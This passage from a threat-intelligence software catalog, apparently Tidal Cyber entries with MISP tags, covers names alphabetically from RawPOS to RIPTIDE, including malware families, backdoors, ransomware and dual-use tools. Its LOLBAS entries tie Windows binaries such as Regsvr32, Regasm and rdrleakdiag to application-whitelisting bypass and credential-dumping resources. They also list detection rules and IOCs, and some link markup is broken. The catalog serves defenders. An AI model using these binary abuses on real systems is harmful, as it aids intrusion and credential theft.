[RawPOS](https://app.tidalcyber.com/software/6ea1bf95-fed8-4b94-8071-aa19a3af5e34) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. ^{[[Kroll RawPOS Jan 2017](https://app.tidalcyber.com/references/cbbfffb9-c378-4e57-a2af-e76e6014ed57)]} ^{[[TrendMicro RawPOS April 2015](https://app.tidalcyber.com/references/e483ed86-713b-42c6-ad77-e9b889bbcb81)]} ^{[[Visa RawPOS March 2015](https://app.tidalcyber.com/references/a2371f44-0a88-4d68-bbe7-7e79f13f78c2)]} FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. <sup>[[Mandiant FIN5 GrrCON Oct 2016](https://app.tidalcyber.com/references/

2bd39baf-4223-4344-ba93-98aa8453dc11)]</sup> ^{[[DarkReading FireEye FIN5 Oct 2015](https://app.tidalcyber.com/references/afe0549d-dc1b-4bcf-9a1d-55698afd530e)]}

The tag is: *misp-galaxy:software="RawPOS"*

Rclone

[Rclone](https://app.tidalcyber.com/software/1f3f15fa-1b4b-494d-abc8-c7f8a227b7b4) is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. [Rclone](https://app.tidalcyber.com/software/1f3f15fa-1b4b-494d-abc8-c7f8a227b7b4) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) and DarkSide Ransomware-as-a-Service operations.^{[[Rclone](https://app.tidalcyber.com/references/3c7824de-d958-4254-beec-bc4e5ab989b0)]}^{[[Rclone Wars](https://app.tidalcyber.com/references/d47e5f7c-cf70-4f7c-ac83-57e4e1187485)]}^{[[Detecting Rclone](https://app.tidalcyber.com/references/2e44290c-32f5-4e7f-96de-9874df79fe89)]}^{[[DarkSide Ransomware Gang](https://app.tidalcyber.com/references/5f8d49e8-22da-425f-b63b-a799b97ec2b5)]}^{[[DFIR Conti Bazar Nov 2021](https://app.tidalcyber.com/references/a6f1a15d-448b-41d4-81f0-ee445cba83bd)]}

The tag is: *misp-galaxy:software="Rclone"*

RCSession

[RCSession](https://app.tidalcyber.com/software/38c4d208-fe38-4965-871c-709fa1479ba3) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://app.tidalcyber.com/groups/4a4641b1-7686-49da-8d83-00d8013f4b47) and by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) (Type II Backdoor).^{[[Secureworks BRONZE PRESIDENT December 2019](https://app.tidalcyber.com/references/019889e0-a2ce-476f-9a31-2fc394de2821)]}^{[[Trend Micro Iron Tiger April 2021](https://app.tidalcyber.com/references/d0890d4f-e7ca-4280-a54e-d147f6dd72aa)]}^{[[Trend Micro DRBControl February 2020](https://app.tidalcyber.com/references/4dfbf26d-023b-41dd-82c8-12fe18cb10e6)]}

The tag is: *misp-galaxy:software="RCSession"*

rcsi

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Non-Interactive command line inerface included with Visual Studio.

Author: Oddvar Moe

Paths: * no default

Resources: * https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Detection: * Sigma: [proc_creation_win_csi_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: [proc_creation_win_csi_execution.yml]([rcsi.exe - LOLBAS Project(/references/dc02058a-7ed3-4253-a976-6f99b9e91406)]</sup>

The tag is: *misp-galaxy:software="rcsi"*

RDAT

[RDAT](https://app.tidalcyber.com/software/567da30e-fd4d-4ec5-a308-bf08788f3bfb) is a backdoor used by the suspected Iranian threat group [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2). [RDAT](https://app.tidalcyber.com/software/567da30e-fd4d-4ec5-a308-bf08788f3bfb) was originally identified in 2017 and targeted companies in the telecommunications sector.^{[[Unit42 RDAT July 2020](https://app.tidalcyber.com/references/2929baa5-ead7-4936-ab67-c4742afc473c)]}

The tag is: *misp-galaxy:software="RDAT"*

RDFSNIFFER

[RDFSNIFFER](https://app.tidalcyber.com/software/ca4e973c-da15-46a9-8f3a-0b1560c9a783) is a module loaded by [BOOSTWRITE](https://app.tidalcyber.com/software/74a73624-d53b-4c84-a14b-8ae964fd577c) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.^{[[FireEye FIN7 Oct 2019](https://app.tidalcyber.com/references/df8886d1-fbd7-4c24-8ab1-6261923dee96)]}

The tag is: *misp-galaxy:software="RDFSNIFFER"*

RDP Recognizer

RDP Recognizer is a tool that can be used to brute force RDP passwords and check for RDP vulnerabilities. U.S. authorities observed BianLian Ransomware Group actors downloading the tool during intrusions.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="RDP Recognizer"*

RDP Wrapper

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="RDP Wrapper"*

rdrleakdiag

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Windows resource leak diagnostic tool

Author: John Dwyer

Paths: * c:\windows\system32\rdrleakdiag.exe * c:\Windows\SysWOW64\rdrleakdiag.exe

Resources: * https://twitter.com/0gtweet/status/1299071304805560321?s=21 * https://www.pureid.io/dumping-abusing-windows-credentials-part-1/ * https://github.com/LOLBAS-Project/LOLBAS/issues/84

Detection: * Sigma: [proc_creation_win_rdrleakdiag_process_dumping.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml) * Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html * Elastic: [credential_access_cmdline_dump_tool.toml]([rdrleakdiag.exe - LOLBAS Project(/references/1feff728-2230-4a45-bd64-6093f8b42646)]</sup>

The tag is: *misp-galaxy:software="rdrleakdiag"*

Reaver

[Reaver](https://app.tidalcyber.com/software/ca544771-d43e-4747-80e5-cf0f4a4836f3) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://app.tidalcyber.com/technique/b5cc9ab3-6501-4c50-904e-1a25a4088125) items.^{[[Palo Alto Reaver Nov 2017](https://app.tidalcyber.com/references/69fbe527-2ec4-457b-81b1-2eda65eb8442)]}

The tag is: *misp-galaxy:software="Reaver"*

RedLeaves

[RedLeaves](https://app.tidalcyber.com/software/5264c3ab-14e1-4ae1-854e-889ebde029b4) is a malware family used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322). The code overlaps with [PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10) and may be based upon the open source tool Trochilus. ^{[[PWC Cloud Hopper Technical Annex April 2017](https://app.tidalcyber.com/references/da6c8a72-c732-44d5-81ac-427898706eed)]} ^{[[FireEye APT10 April 2017](https://app.tidalcyber.com/references/2d494df8-83e3-45d2-b798-4c3bcf55f675)]}

The tag is: *misp-galaxy:software="RedLeaves"*

RedLine Stealer

RedLine is a prominent family of information- and credential-stealing malware ("infostealers"). According to U.S. authorities, RedLine is "one of the top malware variants in the world", having been used to target millions of victim computers worldwide, including those associated with major enterprises. RedLine is distributed through a malware-as-a-service ("MaaS") model, where actors license the malware’s use to attack targets of their choosing. Credentials and other information stolen via RedLine have been reoutinely resold on automated cybercriminal marketplaces to be used to facilitate further malicious activities.^{[[U.S. DoJ RedLine META Disruption October 29 2024](/references/148bc7da-4fae-4429-96b6-aa7f50c56af8)]}

The tag is: *misp-galaxy:software="RedLine Stealer"*

Reg

[Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. ^{[[Microsoft Reg](https://app.tidalcyber.com/references/1e1b21bd-18b3-4c77-8eb8-911b028ab603)]}

Utilities such as [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) are known to be used by persistent threats. ^{[[Windows Commands JPCERT](https://app.tidalcyber.com/references/9d935f7f-bc2a-4d09-a51a-82074ffd7d77)]}

The tag is: *misp-galaxy:software="Reg"*

Regasm

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Part of .NET

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe

Resources: * https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/ * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md

Detection: * Sigma: [proc_creation_win_lolbin_regasm.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml) * Elastic: [execution_register_server_program_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml) * Splunk: [suspicious_regsvcs_regasm_activity.md](https://github.com/splunk/security_content/blob/bc93e670f5dcb24e96fbe3664d6bcad92df5acad/docs/_stories/suspicious_regsvcs_regasm_activity.md) * Splunk: [detect_regasm_with_network_connection.yml](https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_regasm_with_network_connection.yml) * IOC: regasm.exe executing dll file^{[[LOLBAS Regasm](/references/b6a3356f-72c2-4ec2-a276-2432eb691055)]}

The tag is: *misp-galaxy:software="Regasm"*

RegDuke

[RegDuke](https://app.tidalcyber.com/software/52dc08d8-82cc-46dc-91ae-383193d72963) is a first stage implant written in .NET and used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2017. [RegDuke](https://app.tidalcyber.com/software/52dc08d8-82cc-46dc-91ae-383193d72963) has been used to control a compromised machine when control of other implants on the machine was lost.^{[[ESET Dukes October 2019](https://app.tidalcyber.com/references/fbc77b85-cc5a-4c65-956d-b8556974b4ef)]}

The tag is: *misp-galaxy:software="RegDuke"*

Regedit

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to manipulate registry

Author: Oddvar Moe

Paths: * C:\Windows\regedit.exe

Resources: * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Detection: * Sigma: [proc_creation_win_regedit_import_keys_ads.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml) * IOC: regedit.exe reading and writing to alternate data stream * IOC: regedit.exe should normally not be executed by end-users^{[[Regedit.exe - LOLBAS Project](/references/86e47198-751b-4754-8741-6dd8f2960416)]}

The tag is: *misp-galaxy:software="Regedit"*

reGeorg

[reGeorg](https://app.tidalcyber.com/software/7e92e30b-9eb1-52fc-9bf8-8c3b168910c5) is an open-source web shell written in Python that can be used as a proxy to bypass firewall rules and tunnel data in and out of targeted networks.^{[[Fortinet reGeorg MAR 2019](https://app.tidalcyber.com/references/75a78707-61b2-5dfd-aac1-95399d0c7e16)]}^{[[GitHub reGeorg 2016](https://app.tidalcyber.com/references/5d99c065-220c-57bd-ade7-d7aac7e2d2d9)]}

The tag is: *misp-galaxy:software="reGeorg"*

Regin

[Regin](https://app.tidalcyber.com/software/e88bf527-bb9c-45c3-b86b-04a07dcd91fd) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://app.tidalcyber.com/software/e88bf527-bb9c-45c3-b86b-04a07dcd91fd) timestamps date back to 2003. ^{[[Kaspersky Regin](https://app.tidalcyber.com/references/1b521b76-5b8f-4bd9-b312-7c795fc97898)]}

The tag is: *misp-galaxy:software="Regin"*

Regini

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to manipulate the registry

Author: Oddvar Moe

Paths: * C:\Windows\System32\regini.exe * C:\Windows\SysWOW64\regini.exe

Resources: * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Detection: * Sigma: [proc_creation_win_regini_ads.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_ads.yml) * Sigma: [proc_creation_win_regini_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regini_execution.yml) * IOC: regini.exe reading from ADS^{[[Regini.exe - LOLBAS Project](/references/db2573d2-6ecd-4c5a-b038-2f799f9723ae)]}

The tag is: *misp-galaxy:software="Regini"*

Register-cimprovider

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to register new wmi providers

Author: Oddvar Moe

Paths: * C:\Windows\System32\Register-cimprovider.exe * C:\Windows\SysWOW64\Register-cimprovider.exe

Resources: * https://twitter.com/PhilipTsukerman/status/992021361106268161

Detection: * Sigma: [proc_creation_win_susp_register_cimprovider.yml](https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml) * IOC: Register-cimprovider.exe execution and cmdline DLL load may be supsicious^{[[Register-cimprovider.exe - LOLBAS Project](/references/d445d016-c4f1-45c8-929d-913867275417)]}

The tag is: *misp-galaxy:software="Register-cimprovider"*

Regsvcs

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies

Author: Oddvar Moe

Paths: * c:\Windows\Microsoft.NET\Framework\v*\regsvcs.exe * c:\Windows\Microsoft.NET\Framework64\v*\regsvcs.exe

Resources: * https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/ * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md

Detection: * Sigma: [proc_creation_win_lolbin_regasm.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml) * Elastic: [execution_register_server_program_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml) * Splunk: [detect_regsvcs_with_network_connection.yml]([LOLBAS Regsvcs(/references/3f669f4c-0b94-4b78-ad3e-fd62f7600902)]</sup>

The tag is: *misp-galaxy:software="Regsvcs"*

Regsvr32

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to register dlls

Author: Oddvar Moe

Paths: * C:\Windows\System32\regsvr32.exe * C:\Windows\SysWOW64\regsvr32.exe

Resources: * https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/T1218.010.md

Detection: * Sigma: [proc_creation_win_regsvr32_susp_parent.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml) * Sigma: [proc_creation_win_regsvr32_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml) * Sigma: [proc_creation_win_regsvr32_susp_exec_path_1.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/

proc_creation_win_regsvr32_susp_exec_path_1.yml) * Sigma: [proc_creation_win_regsvr32_network_pattern.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml) * Sigma: [net_connection_win_regsvr32_network_activity.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml) * Sigma: [dns_query_win_regsvr32_network_activity.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml) * Sigma: [proc_creation_win_regsvr32_flags_anomaly.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml) * Sigma: [file_event_win_net_cli_artefact.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml) * Splunk: [detect_regsvr32_application_control_bypass.yml](https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Elastic: [execution_register_server_program_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml) * IOC: regsvr32.exe retrieving files from Internet * IOC: regsvr32.exe executing scriptlet (sct) files * IOC: DotNet CLR libraries loaded into regsvr32.exe * IOC: DotNet CLR Usage Log - regsvr32.exe.log^{[[LOLBAS Regsvr32](/references/8e32abef-534e-475a-baad-946b6ec681c1)]}

The tag is: *misp-galaxy:software="Regsvr32"*

Remcos

[Remcos](https://app.tidalcyber.com/software/2eb92fa8-514e-4018-adc4-c9fe4f082567) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://app.tidalcyber.com/software/2eb92fa8-514e-4018-adc4-c9fe4f082567) has been observed being used in malware campaigns.^{[[Riskiq Remcos Jan 2018](https://app.tidalcyber.com/references/a641a41c-dcd8-47e5-9b29-109dd2eb7f1e)]}^{[[Talos Remcos Aug 2018](https://app.tidalcyber.com/references/c5cb2eff-ed48-47ff-bfd6-79152bf51430)]}

The tag is: *misp-galaxy:software="Remcos"*

Remexi

[Remexi](https://app.tidalcyber.com/software/82d0bb4d-4711-49e3-9fe5-c522bbe5e8bb) is a Windows-based Trojan that was developed in the C programming language.<sup>[[Securelist

Remexi Jan 2019](https://app.tidalcyber.com/references/07dfd8e7-4e51-4c6e-a4f6-aaeb74ff8845)]</sup>

The tag is: *misp-galaxy:software="Remexi"*

Remote

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Debugging tool included with Windows Debugging Tools

Author: mr.d0x

Paths: * C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exe * C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe

Resources: * https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/

Detection: * IOC: remote.exe process spawns * Sigma: [proc_creation_win_lolbin_remote.yml]([Remote.exe - LOLBAS Project(/references/9a298f83-80b8-45a3-9f63-6119be6621b4)]</sup>

The tag is: *misp-galaxy:software="Remote"*

RemoteCMD

[RemoteCMD](https://app.tidalcyber.com/software/57fa64ea-975a-470a-a194-3428148ae9ee) is a custom tool used by [APT3](https://app.tidalcyber.com/groups/9da726e6-af02-49b8-8ebe-7ea4235513c9) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. ^{[[Symantec Buckeye](https://app.tidalcyber.com/references/dbf3ce3e-bcf2-4e47-ad42-839e51967395)]}

The tag is: *misp-galaxy:software="RemoteCMD"*

RemoteUtilities

[RemoteUtilities](https://app.tidalcyber.com/software/8a7fa0df-c688-46be-94bf-462fae33b788) is a legitimate remote administration tool that has been used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) since at least 2021 for execution on target machines.^{[[Trend Micro Muddy Water March 2021](https://app.tidalcyber.com/references/16b4b834-2f44-4bac-b810-f92080c41f09)]}

The tag is: *misp-galaxy:software="RemoteUtilities"*

Remsec

[Remsec](https://app.tidalcyber.com/software/e3729cff-f25e-4c01-a7a1-e8b83e903b30) is a modular backdoor that has been used by [Strider](https://app.tidalcyber.com/groups/deb573c6-071a-4b50-9e92-4aa648d8bdc1) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. ^{[[Symantec Strider Blog](https://app.tidalcyber.com/references/664eac41-257f-4d4d-aba5-5d2e8e2117a7)]}

The tag is: *misp-galaxy:software="Remsec"*

Replace

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to replace file with another file

Author: Oddvar Moe

Paths: * C:\Windows\System32\replace.exe * C:\Windows\SysWOW64\replace.exe

Resources: * https://twitter.com/elceef/status/986334113941655553 * https://twitter.com/elceef/status/986842299861782529

Detection: * IOC: Replace.exe retrieving files from remote server * Sigma: [proc_creation_win_lolbin_replace.yml]([Replace.exe - LOLBAS Project](/references/82a473e9-208c-4c47-bf38-92aee43238dd)]</sup>

The tag is: *misp-galaxy:software="Replace"*

REPTILE Backdoor

REPTILE is a backdoor utility that listens for a specialized packet for activation.^{[[Mandiant Fortinet Zero Day](/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}

The tag is: *misp-galaxy:software="REPTILE Backdoor"*

Reptile Rootkit

Reptile is an open-source rootkit that uses a kernel module to hide files, directories, processes, and network connections.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}^{[[GitHub Reptile](/references/6e8cc88a-fb3f-4464-9380-868f597def6e)]}^{[[trendmicro.com May 24 2022](/references/5e14260b-6a81-48da-8190-91f3c05e2c14)]}

The tag is: *misp-galaxy:software="Reptile Rootkit"*

Responder

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. ^{[[GitHub Responder](https://app.tidalcyber.com/references/3ef681a9-4ab0-420b-9d1a-b8152c50b3ca)]}

The tag is: *misp-galaxy:software="Responder"*

Restic

Restic is an open-source backup utility that adversaries have used to exfiltrate data from victim file shares to remote servers.^{[[The DFIR Report September 30 2024](/references/b2ee9f5e-ed34-4141-9740-8f6e37ba4f28)]}^{[[GuidePoint Security INC Ransomware August 14 2024](/references/414ff729-ba51-4c5a-a4ac-027e0d3c14df)]}^{[[Www.huntress.com March 13 2024](/references/e3931ba7-24de-4283-9941-fe927a75fb5e)]}

The tag is: *misp-galaxy:software="Restic"*

Revenge RAT

[Revenge RAT](https://app.tidalcyber.com/software/f99712b4-37a2-437c-92d7-fb4f94a1f892) is a freely available remote access tool written in .NET (C#).^{[[Cylance Shaheen Nov 2018](https://app.tidalcyber.com/references/57802e46-e12c-4230-8d1c-08854a0de06a)]}^{[[Cofense RevengeRAT Feb 2019](https://app.tidalcyber.com/references/3abfc3eb-7f9d-49e5-8048-4118cde3122e)]}

The tag is: *misp-galaxy:software="Revenge RAT"*

REvil

[REvil](https://app.tidalcyber.com/software/9314531e-bf46-4cba-9c19-198279ccf9cd) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://app.tidalcyber.com/groups/b4d068ac-9b68-4cd8-bf0c-019f910ef8e3) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://app.tidalcyber.com/software/9314531e-bf46-4cba-9c19-198279ccf9cd), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.^{[[Secureworks REvil September 2019](https://app.tidalcyber.com/references/8f4e2baf-4227-4bbd-bfdb-5598717dcf88)]}^{[[Intel 471 REvil March 2020](https://app.tidalcyber.com/references/b939dc98-e00e-4d47-84a4-3eaaeb5c0abf)]}^{[[Group IB Ransomware May 2020](https://app.tidalcyber.com/references/18d20965-f1f4-439f-a4a3-34437ad1fe14)]}

The tag is: *misp-galaxy:software="REvil"*

RGDoor

[RGDoor](https://app.tidalcyber.com/software/d5649d69-52d4-4198-9683-b250348dea32) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://app.tidalcyber.com/software/d5649d69-52d4-4198-9683-b250348dea32) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://app.tidalcyber.com/software/d5649d69-52d4-4198-9683-b250348dea32) provides backdoor access to compromised IIS servers. ^{[[Unit 42 RGDoor Jan 2018](https://app.tidalcyber.com/references/94b37da6-f808-451e-8f2d-5df0e93358ca)]}

The tag is: *misp-galaxy:software="RGDoor"*

Rhadamanthys

Rhadamanthys is an infostealer malware written in C++.^{[[Zscaler Rhadamanthys February 21 2023](/references/a289704d-952d-4150-b9cc-5c53e4b0a41f)]} First identified in late 2022, the malware has continued to receive updates and new features, including an artificial intelligence-based capability reported in September 2024 where the malware uses optical character recognition (OCR) to automatically recognize and extract sensitive victim information from images.^{[[Recorded Future Rhadamanthys September 26 2024](/references/5e668cd3-5a5d-4b40-9d4b-6108489a9a91)]}

The tag is: *misp-galaxy:software="Rhadamanthys"*

Rhysida Ransomware

Rhysida is a ransomware-as-a-service (RaaS) operation that has been active since May 2023, claiming attacks on multiple sectors in several countries in North and South America, Western Europe, and Australia. Many alleged victims are education sector entities. Security researchers have observed TTP and victimology overlaps with the Vice Society extortion group.^{[[HC3 Analyst Note Rhysida Ransomware August 2023](/references/3f6e2821-5073-4382-b5dd-08676eaa2240)]}

The tag is: *misp-galaxy:software="Rhysida Ransomware"*

Rifdoor

[Rifdoor](https://app.tidalcyber.com/software/ca5ae7c8-467a-4434-82fc-db50ce3fc671) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant]([Carbon Black HotCroissant April 2020](https://app.tidalcyber.com/references/43bcb35b-56e1-47a8-9c74-f7543a25b2a6)]</sup>

The tag is: *misp-galaxy:software="Rifdoor"*

RIFLESPINE

RIFLESPINE is a cross-platform backdoor that leverages Google Drive to transfer files and execute

commands. It adopts the CryptoPP library to implement the AES algorithm to encrypt and decrypt the data transmitted between an affected machine and the threat actor.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="RIFLESPINE"*

RIPTIDE

[RIPTIDE](https://app.tidalcyber.com/software/00fa4cc2-6f99-4b18-b927-689964ef57e1) is a proxy-aware backdoor used by [APT12](https://app.tidalcyber.com/groups/225314a7-8f40-48d4-9cff-3ec39b177762). ^{[[Moran 2014](https://app.tidalcyber.com/references/15ef155b-7628-4b18-bc53-1d30be4eac5d)]}

The tag is: *misp-galaxy:software="RIPTIDE"*

Rising Sun

